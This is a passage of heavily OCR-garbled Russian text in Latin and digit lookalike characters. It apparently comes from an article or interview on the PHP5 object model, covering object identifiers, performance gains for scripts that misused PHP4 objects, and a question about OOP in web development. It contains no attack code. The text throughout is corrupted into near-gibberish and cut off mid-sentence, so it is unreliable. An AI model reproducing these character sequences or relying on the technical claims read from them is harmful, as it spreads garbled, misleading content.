HHTEPIPETaTopy 4YuclIo, HaeHTHuuupyromee 3T0T 00bekT. Korma
OCYHIECTBISIETCA  JOCTYn K  OOBEKTy, BoO3Bpamaercsi OOBEeKT,
COOTBETCTBYIOLIMM  3TOMYy  YHCIy. OTO  IIOMOXET  TIOBBICUTH
MIPOU3BOANTENBHOCTh OIPOMHOIO KOJMYECTBA CKPHIITOB, B KOTOPBIX
HEMPaBWIBLHO HCIOJB30BaNack o0bekTHas Moaens PHP4. TlpuBenenubie
BBIIIIE ITPOCTHIE IPUMEPHI 3aMedarTenbHo padorator B PHPS.

BP: Eciu Bwl cuutaere, uro OOIl HeahdekTHBHO B pelieHHN
3amad 4 Web, To modeMy jxe UMEHHO M3MEHEHHUS B 00OBEKTHON MOJIeH
SIBJISIETCST TJIAaBHBI